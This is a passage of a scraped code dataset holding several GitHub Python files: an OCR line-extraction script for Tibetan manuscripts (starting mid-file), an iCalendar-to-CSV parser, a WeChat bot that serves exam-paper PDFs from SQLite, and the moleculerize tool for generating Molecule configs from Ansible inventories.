True, x_border: bool = False, filter_area: bool = True):\n\n    mask = np.zeros(image.shape, dtype=\"uint8\")\n    numLabels, labels, stats, centroids = get_components(image)\n\n    for compnt_idx in range(0, numLabels):\n        x, y, w, h, cX, cY, area = get_component_info(compnt_idx, stats, centroids)\n\n        # component touches the border\n        x_pos = x > 0 and x+w < image.shape[1] - 1\n        y_pos = y > 0 and y+h < image.shape[0] - 1\n        #y_pos = y > 0\n\n        cy_filter = cY > y_offset and cY < image.shape[0] - y_offset\n        area_size = area > area_threshold\n\n        filters = []\n        filters.append(cy_filter)\n        \n        if x_border:\n            filters.append(x_pos)\n\n        if y_border:\n            filters.append(y_pos)\n\n        if filter_area:\n            filters.append(area_size)\n\n        if all(filters):\n            componentMask = (labels == compnt_idx).astype(\"uint8\") * 255\n            mask = cv2.bitwise_or(mask, componentMask)\n\n    mask = cv2.bitwise_not(mask)\n    return mask\n\ndef get_page_data(image: str, annotation: str) -> tuple[str, list[LineSample]]:\n    \n    image = cv2.imread(image)\n    image = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n    image = blurr(image, blur_intensity=3)\n    image = cv2.dilate(image, (3,3), 3)\n    image = adaptive_binarize(image, invert=True, block_size=11, c=11)\n\n    annotation_tree = minidom.parse(annotation)\n    textlines = annotation_tree.getElementsByTagName('TextLine')\n    centers, contour_dict = parse_labels(textlines, y_offset=0)\n\n    page_data: list[LineSample] = []\n\n    for _, (_, (k, v)) in enumerate(zip(centers, contour_dict.items())):\n        points, label, angle = v\n\n        if len(label) > 30:\n            (x, y), (width, height), angle = cv2.minAreaRect(points)\n            line_image = generate_line_image_v1(image, points, angle, kernel=(6, 4), iterations=14)\n            line_image = cv2.bitwise_not(line_image)\n            y_off = int(line_image.shape[0] * 0.2)\n            line_image = filter_components(line_image, y_offset=y_off, area_threshold=10, x_border=False)\n            \n            line_sample = LineSample(line_image, label, x, y, width, height)\n            page_data.append(line_sample)\n\n    return page_data\n\n\ndef save_line_transcription(file_name, index, image, label, images_out, labels_out):\n    line_img_path = os.path.join(images_out, f\"{file_name}_{index}.jpg\")\n    cv2.imwrite(line_img_path, image)\n\n    labe_file_path = os.path.join(labels_out, f\"{file_name}_{index}.txt\")\n\n    with open(labe_file_path, \"w\", encoding=\"utf-8\") as f:\n        f.write(label)\n\n\n\nif __name__ == \"__main__\":\n    volumes = [\"W2KG229028-v1\", \"W2KG229028-v2\", \"W2KG229028-v3\", \"W2KG229028-v4\", \"W2KG229028-v5\", \"W2KG229028-v6\", \"W2KG229028-v7\", \"W2KG229028-v8\", \"W2KG229028-v9\", \"W2KG229028-v10\", \"W2KG229028-v14\", \"W2KG229028-v15\",\"W2KG229028-v17\", \"W2KG229028-v20\", \"W2KG229028-v21\", \"W2KG229028-v26\", \"W2KG229028-v28\", \"W2KG229028-v30\"]\n\n    input_dir = \"D:/Datasets/Tibetan/Glomanthang/Annotations_v2/Glomanthang-Annotations\"\n    dataset_out = os.path.join(input_dir, \"Dataset_clean\")\n    dataset_img_out = os.path.join(dataset_out, \"lines\")\n    dataset_transcriptions_out = os.path.join(dataset_out, \"transcriptions\")\n\n    create_dir(dataset_out)\n    create_dir(dataset_img_out)\n    create_dir(dataset_transcriptions_out)\n\n    for volume_dir in volumes:\n        \n\n        dataset_images = natsorted(glob(f\"{input_dir}/{volume_dir}/*.jpg\"))\n        dataset_labels = natsorted(glob(f\"{input_dir}/{volume_dir}/page/*.xml\"))\n\n        print(f\"Volume: {volume_dir} => Images: {len(dataset_images)} , Labels: {len(dataset_labels)}\")\n\n        for image, annotation in tqdm(zip(dataset_images, dataset_labels), total=len(dataset_images)):\n            file_name = os.path.basename(image).split(\".\")[0]\n            page_data = get_page_data(image, annotation)\n\n            for idx, line in enumerate(page_data):\n                #print(line.label)\n                save_line_transcription(file_name, idx, line.image, line.label, dataset_img_out, dataset_transcriptions_out)", "repo_name": "OpenPecha/Data-Processing", "sub_path": "generate_ocr_from_xml_v2.py", "file_name": "generate_ocr_from_xml_v2.py", "file_ext": "py", "file_size_in_byte": 6784, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "numpy.array", "line_number": 19, "usage_type": "attribute"}, {"api_name": "dataclasses.dataclass", "line_number": 16, "usage_type": "name"}, {"api_name": "numpy.zeros", "line_number": 28, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 28, "usage_type": "attribute"}, {"api_name": "cv2.drawContours", "line_number": 29, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 31, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 31, "usage_type": "attribute"}, {"api_name": "cv2.dilate", "line_number": 34, "usage_type": "call"}, {"api_name": "cv2.bitwise_and", "line_number": 35, "usage_type": "call"}, {"api_name": "Utils.rotate_image", "line_number": 43, "usage_type": "call"}, {"api_name": "numpy.delete", "line_number": 45, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 45, "usage_type": "call"}, {"api_name": "numpy.delete", "line_number": 46, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 46, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 50, "usage_type": "attribute"}, {"api_name": "cv2.GaussianBlur", "line_number": 51, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 54, "usage_type": "attribute"}, {"api_name": "cv2.adaptiveThreshold", "line_number": 57, "usage_type": "call"}, {"api_name": "cv2.ADAPTIVE_THRESH_GAUSSIAN_C", "line_number": 57, "usage_type": "attribute"}, {"api_name": "cv2.THRESH_BINARY", "line_number": 57, "usage_type": "attribute"}, {"api_name": "cv2.bitwise_not", "line_number": 60, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 65, "usage_type": "attribute"}, {"api_name": "cv2.bitwise_not", "line_number": 67, "usage_type": "call"}, {"api_name": "cv2.connectedComponentsWithStats", "line_number": 68, "usage_type": "call"}, {"api_name": "cv2.CV_32S", "line_number": 68, "usage_type": "attribute"}, {"api_name": "cv2.CC_STAT_LEFT", "line_number": 75, "usage_type": "attribute"}, {"api_name": "cv2.CC_STAT_TOP", "line_number": 76, "usage_type": "attribute"}, {"api_name": "cv2.CC_STAT_WIDTH", "line_number": 77, "usage_type": "attribute"}, {"api_name": "cv2.CC_STAT_HEIGHT", "line_number": 78, "usage_type": "attribute"}, {"api_name": "cv2.CC_STAT_AREA", "line_number": 79, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 83, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 85, "usage_type": "call"}, {"api_name": "cv2.bitwise_or", "line_number": 113, "usage_type": "call"}, {"api_name": "cv2.bitwise_not", "line_number": 115, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 120, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 121, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2GRAY", "line_number": 121, "usage_type": "attribute"}, {"api_name": "cv2.dilate", "line_number": 123, "usage_type": "call"}, {"api_name": "xml.dom.minidom.parse", "line_number": 126, "usage_type": "call"}, {"api_name": "xml.dom.minidom", "line_number": 126, "usage_type": "name"}, {"api_name": "Utils.parse_labels", "line_number": 128, "usage_type": "call"}, {"api_name": "cv2.minAreaRect", "line_number": 136, "usage_type": "call"}, {"api_name": "cv2.bitwise_not", "line_number": 138, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 149, "usage_type": "call"}, {"api_name": "os.path", "line_number": 149, "usage_type": "attribute"}, {"api_name": "cv2.imwrite", "line_number": 150, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 152, "usage_type": "call"}, {"api_name": "os.path", "line_number": 152, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 163, "usage_type": "call"}, {"api_name": "os.path", "line_number": 163, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 164, "usage_type": "call"}, {"api_name": "os.path", "line_number": 164, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 165, "usage_type": "call"}, {"api_name": "os.path", "line_number": 165, "usage_type": "attribute"}, {"api_name": "Utils.create_dir", "line_number": 167, "usage_type": "call"}, {"api_name": "Utils.create_dir", "line_number": 168, "usage_type": "call"}, {"api_name": "Utils.create_dir", "line_number": 169, "usage_type": "call"}, {"api_name": "natsort.natsorted", "line_number": 174, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 174, "usage_type": "call"}, {"api_name": "natsort.natsorted", "line_number": 175, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 175, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 179, "usage_type": "call"}, {"api_name": "os.path.basename", "line_number": 180, "usage_type": "call"}, {"api_name": "os.path", "line_number": 180, "usage_type": "attribute"}]}
{"seq_id": "13449321607", "text": "from icalendar import Calendar, Event\nfrom datetime import date, datetime, time, timedelta\nimport dateutil.parser\nfrom dateutil import relativedelta\nimport pytz\nimport json\nimport pprint\nimport csv\n\n\nclass Parser:\n    def __init__(self, file):\n        self.data = self.parse_ical(file)\n\n    def parse_ical(self, flocation):\n        cet = pytz.country_timezones('ch')\n\n        g = open(flocation, 'rb')\n\n        arr = []\n\n        gcal = Calendar.from_ical(g.read())\n        for component in gcal.walk():\n            obj = {}\n            keys = ['DTEND', 'DTSTART',\n                    'ATTENDEE', 'LOCATION', \"MY_PARTSTAT\", \"SUMMARY\", \"STATUS\"]\n            # Get Vevent as this holds all of the individual calender items\n            if component.name == \"VEVENT\":\n                # iterate over all of the keys - this is important as not every item has the same keys\n                for k in component.keys():\n                    if k in keys:\n                        # get all the dates and convert them to strings\n                        if k == 'DTEND' or k == 'DTSTAMP' or k == 'DTSTART' or k == 'LAST-MODIFIED' or k == 'CREATED':\n                            new_dt = str(component.get(k).dt)[:19]\n                            obj[k] = dateutil.parser.isoparse(new_dt)\n                        # Locations is used by zoom to store a zoom link\n                        # If there is a zoom link just append zoom otherwise add location to array\n                        elif k == 'LOCATION':\n                            obj[k] = []\n                            for l in component.get(k).split(\", \"):\n                                if \"zoom.us\" in str(l) and len(component.get(k).split(\", \")) == 1:\n                                    obj[k].append(\"zoom\")\n                        # Clean attendee list by only storing email address\n                        elif k == 'ATTENDEE':\n                            obj[k] = []\n                            for e in component.get(k):\n                                if e.replace(\"mailto:\", \"\") == str(gcal[\"X-WR-CALNAME\"]) and hasattr(e, 'params'):\n                                    # print(\"-\", e.replace(\"mailto:\", \"\"))\n                                    obj[\"MY_PARTSTAT\"] = str(\n                                        e.params[\"PARTSTAT\"])\n                                    obj[k].append(e.replace(\"mailto:\", \"\"))\n                                elif len(e) > 1:\n                                    # print(\"-\", e.replace(\"mailto:\", \"\"))\n                                    obj[k].append(e.replace(\"mailto:\", \"\"))\n\n                        else:\n                            obj[k] = str(component.get(k))\n\n            arr.append(obj)\n\n        g.close()\n        return arr\n\n    def get_data(self):\n        return self.data\n\n    def get_timedelta(self, dtstart, dtend):\n        timedelta = []\n        # convert date string to date object\n        sdate = datetime.strptime(dtstart, '%Y-%m-%d')\n        edate = datetime.strptime(dtend, '%Y-%m-%d')\n        # iterate over parsed calendar events and retrun if they are between two dates\n        for e in self.data:\n            if \"DTSTART\" in e:\n                 # e[\"DTSTART\"][:10] is shorting date string such as '2020-10-13 12:45:00+00:00' to '2020-10-13'\n                timestr = datetime.strptime(\n                    str(e[\"DTSTART\"])[: 10], '%Y-%m-%d')\n                if \"DTSTART\" in e and timestr.date() >= sdate.date() and timestr.date() <= edate.date():\n                    timedelta.append(e)\n        return timedelta\n\n    def save_csv(self, arr):\n        csv_file = \"cal_data.csv\"\n        csv_columns = ['DTEND', 'DTSTART',\n                       'ATTENDEE', 'LOCATION', \"MY_PARTSTAT\", \"SUMMARY\", \"STATUS\"]\n        try:\n            with open(csv_file, 'w') as csvfile:\n                writer = csv.DictWriter(csvfile, fieldnames=csv_columns)\n                writer.writeheader()\n                for data in arr:\n                    writer.writerow(data)\n\n        except IOError:\n            print(\"I/O error\")\n\n    # timeSum = timedelta(0)\n\n\ntest_cal = Parser('/Users/Simon/Downloads/test/test2.ics')\n\n# for i in arr:\n#     if \"duration\" in i:\n#         timeSum = timeSum + i[\"duration\"]\n\n\n# def counts(my_list):\n#     meeting_totals = {}\n#     for meeting in my_list:\n#         if \"duration\" in meeting and \"ACCEPTED\" in meeting.values():\n#             meeting_totals[meeting[\"summary\"]] = meeting_totals.get(\n#                 meeting[\"summary\"], 0) + 1\n#     return meeting_totals\n\n\n# def sum_time(my_list):\n#     meeting_totals = {}\n#     for meeting in my_list:\n#         if \"duration\" in meeting and \"ACCEPTED\" in meeting.values():\n#             meeting_totals[meeting[\"summary\"]] = meeting_totals.get(\n#                 meeting[\"summary\"], timedelta(0)) + meeting[\"duration\"]\n#     return meeting_totals\n\n\n# def sum_attendees(my_list, atCount=None):\n#     meeting_totals = {}\n#     for meeting in my_list:\n#         if \"duration\" in meeting and \"ACCEPTED\" in meeting.values():\n#             if atCount is None:\n#                 for at in meeting[\"attendees\"]:\n#                     meeting_totals[at] = meeting_totals.get(\n#                         at, 0) + 1\n#                     print(at)\n#             else:\n#                 if len(meeting[\"attendees\"]) <= atCount:\n#                     print(meeting[\"attendees\"])\n#                     for at in meeting[\"attendees\"]:\n#                         meeting_totals[at] = meeting_totals.get(\n#                             at, 0) + 1\n#     return meeting_totals\n\n\n# def count_by_attendees(my_list, atCount=None):\n#     meeting_totals = {}\n#     for meeting in my_list:\n#         if \"duration\" in meeting and \"ACCEPTED\" in meeting.values():\n#             if atCount is None:\n#                 meeting_totals[meeting[\"summary\"]] = meeting_totals.get(\n#                     meeting[\"summary\"], 0) + 1\n#             else:\n#                 if len(meeting[\"attendees\"]) <= atCount:\n#                     meeting_totals[meeting[\"summary\"]] = meeting_totals.get(\n#                         meeting[\"summary\"], 0) + 1\n\n#     return meeting_totals\n\n\n# arr1 = counts(arr)\n# arr2 = sum_time(arr)\n# arr3 = sum_attendees(arr, 1)\n# arr4 = count_by_attendees(arr, 5)\n# print(arr3)\n\n# today = datetime.utcnow()\n\n\n# def return_before_after(my_list, dtstart, dtend):\n#     newArr = []\n#     sdate = datetime.strptime(dtstart, '%Y-%m-%d')\n#     edate = datetime.strptime(dtend, '%Y-%m-%d')\n#     for e in my_list:\n#         if \"DTSTART\" in e and hasattr(e[\"DTSTART\"], \"date\") and e[\"DTSTART\"].date() >= sdate.date() and e[\"DTSTART\"].date() <= edate.date():\n#             print(e[\"summary\"], e[\"DTSTART\"].date(),\n#                   e[\"DTSTART\"].date() > sdate.date())\n#             newArr.append(e)\n#     return newArr\n\n\n# largeMeetings = count_by_attendees(arr, 3)\n\n# arrBA = return_before_after(largeMeetings, \"2020-01-01\", \"2020-09-25\")\n\n# print(arrBA)\n# print(sum_time(arrBA))\n\ntest_cal.save_csv(test_cal.get_timedelta(\"2020-01-01\", \"2020-09-25\"))\n# pprint.pprint(test_cal.data)\n\nprint(len(test_cal.get_timedelta(\"2020-01-01\", \"2020-09-25\")))\n\n# --------------------------\n# with open('cal.json', 'w') as outfile:\n#     json.dump(arr, outfile)\n\n# ------------------------------\n# for key in arr1:\n#     print(key, \"|\", arr1[key], \"|\", arr2[key])\n\n\n# if \"duration\" in meeting and \"ACCEPTED\" in meeting.values():\n#             if meeting_totals[meeting[\"summary\"]] is None:\n#                 meeting_totals[meeting[\"summary\"]] = [1, meeting[\"duration\"]]\n#             else:\n#                 meeting_totals[meeting[\"summary\"]] = [meeting_totals.get(\n#                     meeting[\"summary\"][0]) + 1, meeting_totals.get(\n#                     meeting[\"summary\"][1]) + meeting[\"duration\"]]\n", "repo_name": "Simon-Oliver/learn_python", "sub_path": "explorations/cal_parse.py", "file_name": "cal_parse.py", "file_ext": "py", "file_size_in_byte": 7730, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "pytz.country_timezones", "line_number": 16, "usage_type": "call"}, {"api_name": "icalendar.Calendar.from_ical", "line_number": 22, "usage_type": "call"}, {"api_name": "icalendar.Calendar", "line_number": 22, "usage_type": "name"}, {"api_name": "dateutil.parser.parser.isoparse", "line_number": 35, "usage_type": "call"}, {"api_name": "dateutil.parser.parser", "line_number": 35, "usage_type": "attribute"}, {"api_name": "dateutil.parser", "line_number": 35, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 68, "usage_type": "name"}, {"api_name": "datetime.datetime.strptime", "line_number": 70, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 70, "usage_type": "name"}, {"api_name": "datetime.datetime.strptime", "line_number": 71, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 71, "usage_type": "name"}, {"api_name": "datetime.datetime.strptime", "line_number": 76, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 76, "usage_type": "name"}, {"api_name": "datetime.timedelta.append", "line_number": 79, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 79, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 80, "usage_type": "name"}, {"api_name": "csv.DictWriter", "line_number": 88, "usage_type": "call"}]}
{"seq_id": "32922753554", "text": "#!/usr/bin/python3\n#encoding:utf8\n\nfrom wxpy import *\nimport re\nimport sqlite3\nimport time\n\nclass select():\n    dict = {'0417': 'ict', '0450': 'ibiz', '0455': 'iecon', '0500': 'eng1', '0511': 'eng2', '0580': 'imath',\n            '0610': 'ibio', '0620': 'ichem', '0625': 'iphy', '9231': 'fm', '9608': 'cs', '9609': 'abiz',\n            '9695': 'lit', '9698': 'psy', '9700': 'abio', '9701': 'achem', '9702': 'aphy', '9708': 'aecon',\n            '9709': 'amath'}\n    #判断输入的指令是否合法\n    def legal(self,data):\n        inputs = data.split(' ')\n        if re.match(u'^建议', data, re.U) :\n            return None\n        else:\n            for input in inputs:\n                if len(input) == 4 and input.isdigit():\n                    continue\n                elif (len(input) == 2 or len(input) == 1) and input.isdigit():\n                    continue\n                elif input.lower() in dict.values():\n                    continue\n                elif input in ['ms', 'qp', 's', 'w','S','W']:\n                    continue\n                elif re.match('^[0-9]{4}[_]{1}.[0-9]{2}[_]{1}[a-z]{2}[_]{1}[0-9]{2}', input):\n                    continue\n                else:\n                    return False\n\n    def search(self, input):\n        lzn = select()\n\n        if lzn.legal(input) == False:\n            return None\n        elif re.match(u'^建议', input, re.U) or re.match(u'谢', input, re.U):\n            return None\n\n        conditions = input.split(' ')\n        conn = sqlite3.connect('file_location.sqlite')\n        cur = conn.cursor()\n        command = [\"SELECT location FROM File where\"]\n\n        for condition in conditions:\n            if len(condition) == 4 and condition.isdigit():\n                #year\n                if condition.startswith('2'):\n                    year = int(condition)\n                    command.append('year = %d' % year)\n                #syallbus\n                elif re.match('^[0][0-9]{3}', condition) or re.match('^[9][0-9]{3}', condition):\n                    syllabus = int(condition)\n                    command.append('syllabus = %d' % syllabus)\n            #month\n            elif condition.lower() in ['s','w']:\n                month = condition.lower()\n                command.append('month = %s' % '\"'+month+'\"')\n            #p_\n            elif condition == '1' or condition == '2' or condition == '3' or condition == '4' \\\n                    or condition == '5' or condition == '6' or condition == '7':\n                paper_number = int(condition)\n                command.append('paper_number = %d' % paper_number)\n            #p__\n            elif condition.isdigit() and len(condition) == 2 and condition[0] in ['1','2','3','4','5','6','7']\\\n                    and condition[1] in ['1','2','3']:\n                component = int(condition)\n                command.append('component = %d'%component)\n            #type:ms or qp\n            elif condition == 'ms':\n                type = 'ms'\n                command.append('type = %s' % '\"' + type + '\"')\n            elif condition == 'qp':\n                type = 'qp'\n                command.append('type = %s' % '\"' + type + '\"')\n            #subject\n            elif condition.lower() in dict.values():\n                convert = {'ict': 'ICT', 'ibiz': 'IBiz', 'iecon': 'IEcon', 'eng1': 'Eng1', 'eng2': 'Eng2', 'imath': 'IMath',\n                 'ibio': 'IBio', 'ichem': 'IChem', 'iphy': 'IPhy', 'fm': 'FM', 'cs': 'CS', 'abiz': 'ABiz',\n                'lit': 'Lit', 'psy': 'Psy', 'abio': 'ABio', 'achem': 'AChem', 'aphy': 'APhy', 'aecon': 'AEcon',\n                 'amath': 'AMath'}\n                subject = convert[condition.lower()]\n                command.append('subject = %s' % '\"' + subject + '\"')\n            elif re.match('^[0-9]{4}[_]{1}.[0-9]{2}[_]{1}[a-z]{2}[_]{1}[0-9]{2}', condition):\n                file_name = condition\n                command.append('file_name = %s' % '\"'+file_name+'\"')\n\n        order = ' and '.join(command).replace(' and', '', 1)\n        print (order)\n        cur.execute(order)\n\n        result = []\n\n        rows = cur.fetchall()\n        if len(rows) == 0:\n            return '小助手在你给的条件下没有找到一张卷子...😅'\n        elif len(rows) > 10:\n            return '符合你要求的卷子太多了[捂脸]...请你再多加些条件...'\n        else:\n            for row in rows:\n                for paper in row:\n                    result.append(paper)\n            return result\n\nbot = Bot(cache_path=True, console_qr=-2)\ngroup = bot.groups()\nfriends = bot.friends(update=True)\nNone_group = bot.groups().search(None)\n\n@bot.register(friends,except_self=True)\ndef return_pdf(msg):\n    content = msg.text\n    lzn = select()\n    if lzn.legal(content) is None and lzn.search(content) is not None:\n        results = lzn.search(content)\n        if lzn.legal(content) is None and len(results) < 10:\n            msg.reply('在你给的条件下我一共找到了%d张卷子，给你( つ•̀ω•́)つ'%len(results))\n            for result in results:\n                msg.reply_file(result)\n        elif lzn.legal(content) is None and len(results) >= 10:\n            msg.reply(lzn.search(content))\n    elif re.match('谢', content):\n        msg.reply('和机器人客气什么[嘿哈]')\n    elif re.match('建议',content):\n        conn = sqlite3.connect('feedbacks.db')\n        conn.text_factory=str\n        cur = conn.cursor()\n        cur.execute('''INSERT INTO feedback (user_name, time, content)\n                                VALUES ( ?, ?, ?)''', (str(msg.chat), int(time.time()), content))\n        conn.commit()\n        msg.reply('谢谢你的反馈😁小(cheng)助(xu)手(yuan)会尽快做出调整的')\n    elif lzn.legal(content) == False:\n        msg.reply( '看不懂你的要求啊😢请你再检查一下你输入的条件...')\n\n@bot.register(group)\ndef ignore(msg):\n    return\n\n@bot.register(msg_types=FRIENDS)\ndef auto_accept_friends(msg):\n    global friends\n    new_friend = bot.accept_friend(msg.card)\n    new_friend.send('同学你好～下面是考试小助手的使用指南')\n    new_friend.send_file('ksxzs.pdf')\n    new_friend.send('刚加小助手的同学需要等它好友列表更新后才能得到回复，抱歉[捂脸]')\n    friends = bot.friends(update = True)\n\nembed()", "repo_name": "lzn87/KSXZS", "sub_path": "weixin_robot.py", "file_name": "weixin_robot.py", "file_ext": "py", "file_size_in_byte": 6287, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "81", "api": [{"api_name": "re.match", "line_number": 17, "usage_type": "call"}, {"api_name": "re.U", "line_number": 17, "usage_type": "attribute"}, {"api_name": "re.match", "line_number": 29, "usage_type": "call"}, {"api_name": "re.match", "line_number": 39, "usage_type": "call"}, {"api_name": "re.U", "line_number": 39, "usage_type": "attribute"}, {"api_name": "sqlite3.connect", "line_number": 43, "usage_type": "call"}, {"api_name": "re.match", "line_number": 54, "usage_type": "call"}, {"api_name": "re.match", "line_number": 86, "usage_type": "call"}, {"api_name": "re.match", "line_number": 124, "usage_type": "call"}, {"api_name": "re.match", "line_number": 126, "usage_type": "call"}, {"api_name": "sqlite3.connect", "line_number": 127, "usage_type": "call"}, {"api_name": "time.time", "line_number": 131, "usage_type": "call"}]}
{"seq_id": "20931411263", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n# ======================================================================================================================\n# Imports\n# ======================================================================================================================\nimport sys\nimport json\nfrom jinja2 import Environment, FileSystemLoader, TemplateError\nimport pkg_resources\nimport click\n\n\n# ======================================================================================================================\n# Globals\n# ======================================================================================================================\nTEMPLATES_DIR = 'data'\nTEMPLATE = 'molecule.yml.j2'\nOUTPUT_FILE = 'molecule.yml'\n__version__ = '1.1.0'\n\n\n# ======================================================================================================================\n# Functions\n# ======================================================================================================================\ndef _load_input_file(file_path):\n    \"\"\"Read and validate the input file contents.\n\n    Args:\n        file_path (str): A string representing a valid file path.\n    Returns:\n        dict: The exit code to return to the shell.\n    Raises:\n        RuntimeError: invalid path.\n    \"\"\"\n\n    try:\n        with open(file_path, 'r') as f:\n            json_inventory = json.loads(f.read())\n    except IOError:\n        raise RuntimeError('Invalid path \"{}\" for inventory file!'.format(file_path))\n\n    return json_inventory\n\n\ndef generate_hosts_inventory(json_inventory):\n    \"\"\"Build a dictionary of hosts and associated groups from a Ansible JSON inventory file as keys.\n\n    Args:\n        json_inventory (dict): A dictionary object representing a Ansible JSON inventory file.\n    Returns:\n        dict(list): A dictionary of hosts with each host having a list of associated groups.\n            { 'host_name': ['group1', 'group2'] }\n    \"\"\"\n\n    inventory_child_groups = {}\n\n    try:\n        inventory_hosts = {k: set() for k in json_inventory['_meta']['hostvars'].keys()}\n        inventory_groups = {k: v for (k, v) in json_inventory.items() if k != '_meta'}\n    except KeyError:\n        raise RuntimeError('Expected key(s) missing from inventory file! (\"_meta\", hostvars\")')\n\n    for group_name, group_info in inventory_groups.items():\n        if 'children' in group_info and len(group_info['children']) > 0:\n            for child in group_info['children']:\n                if child in inventory_child_groups.keys():\n                    inventory_child_groups[child].add(group_name)\n                else:\n                    inventory_child_groups[child] = {group_name}\n\n    for group_name, group_info in inventory_groups.items():\n        if 'hosts' in group_info.keys():\n            for host in group_info['hosts']:\n                inventory_hosts[host].add(group_name)\n\n                if group_name in inventory_child_groups.keys():\n                    inventory_hosts[host].update(inventory_child_groups[group_name])\n\n    return inventory_hosts\n\n\ndef render_molecule_template(scenario, inventory_hosts, template_file):\n    \"\"\"Create a molecule config file from a template.\n\n    Args:\n        scenario (str): The scenario name to be defined as the scenario in the rendering\n        inventory_hosts (dict(list(str)): A dictionary of inventory hosts with each host having a list of associated\n            groups.\n        template_file (str): The template file to use for rendering.\n    Returns:\n        str: A molecule config file populated with hosts and groups.\n    \"\"\"\n\n    template_path = pkg_resources.resource_filename('moleculerize', TEMPLATES_DIR)\n    j2_env = Environment(loader=FileSystemLoader(template_path),\n                         trim_blocks=True,\n                         lstrip_blocks=True,\n                         keep_trailing_newline=True\n                         )\n\n    try:\n        return j2_env.get_template(template_file).render(\n            hosts=inventory_hosts, scenario=scenario)\n    except TemplateError as e:\n        print(e)\n        raise RuntimeError('Template \"{}\" not found!'.format(template_file))\n\n\n# ======================================================================================================================\n# Main\n# ======================================================================================================================\n@click.command()\n@click.argument('inv_file', type=click.Path(exists=True))\n@click.option('--scenario', '-s',\n              type=click.STRING,\n              default='default',\n              help='Molecule config scenario to create.')\n@click.option('--template', '-t',\n              type=click.STRING,\n              default=TEMPLATE,\n              help='Molecule config template file')\n@click.option('--output', '-o',\n              type=click.STRING,\n              default=OUTPUT_FILE,\n              help='Output file path for molecule config.')\ndef main(inv_file, scenario, template, output):\n    \"\"\"Build molecule config files from an Ansible dynamic inventory file\n\n    \\b\n    Required Arguments:\n        INV_FILE        A valid Ansible dynamic inventory file\n    \"\"\"\n\n    exit_code = 0\n\n    try:\n        inventory_hosts = generate_hosts_inventory(_load_input_file(inv_file))\n\n        try:\n            with open(output, 'wb') as f:\n                f.write(render_molecule_template(scenario, inventory_hosts, template))\n        except IOError:\n            raise RuntimeError('Cannot write \"{}\" Molecule configuration file!'.format(output))\n\n        print(\"Scenario: {}\".format(scenario))\n        print(\"Inventory file: {}\".format(inv_file))\n        print(\"Template file: {0}/{1}\".format(TEMPLATES_DIR, template))\n        print(\"Output file: {}\".format(output))\n\n        print(\"\\nSuccess!\")\n    except RuntimeError as e:\n        exit_code = 1\n        print(e)\n\n        print(\"\\nFailed!\")\n\n    return exit_code\n\n\nif __name__ == '__main__':\n    sys.exit()\n", "repo_name": "rcbops/moleculerize", "sub_path": "moleculerize/__init__.py", "file_name": "__init__.py", "file_ext": "py", "file_size_in_byte": 5967, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4, "dataset": "github-code", "pt": "81", "api": [{"api_name": "json.loads", "line_number": 39, "usage_type": "call"}, {"api_name": "pkg_resources.resource_filename", "line_number": 95, "usage_type": "call"}, {"api_name": "jinja2.Environment", "line_number": 96, "usage_type": "call"}, {"api_name": "jinja2.FileSystemLoader", "line_number": 96, "usage_type": "call"}, {"api_name": "jinja2.TemplateError", "line_number": 105, "usage_type": "name"}, {"api_name": "click.command", "line_number": 113, "usage_type": "call"}, {"api_name": "click.argument", "line_number": 114, "usage_type": "call"}, {"api_name": "click.Path", "line_number": 114, "usage_type": "call"}, {"api_name": "click.option", "line_number": 115, "usage_type": "call"}, {"api_name": "click.STRING", "line_number": 116, "usage_type": "attribute"}, {"api_name": "click.option", "line_number": 119, "usage_type": "call"}, {"api_name": "click.STRING", "line_number": 120, "usage_type": "attribute"}, {"api_name": "click.option", "line_number": 123, "usage_type": "call"}, {"api_name": "click.STRING", "line_number": 124, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 162, "usage_type": "call"}]}
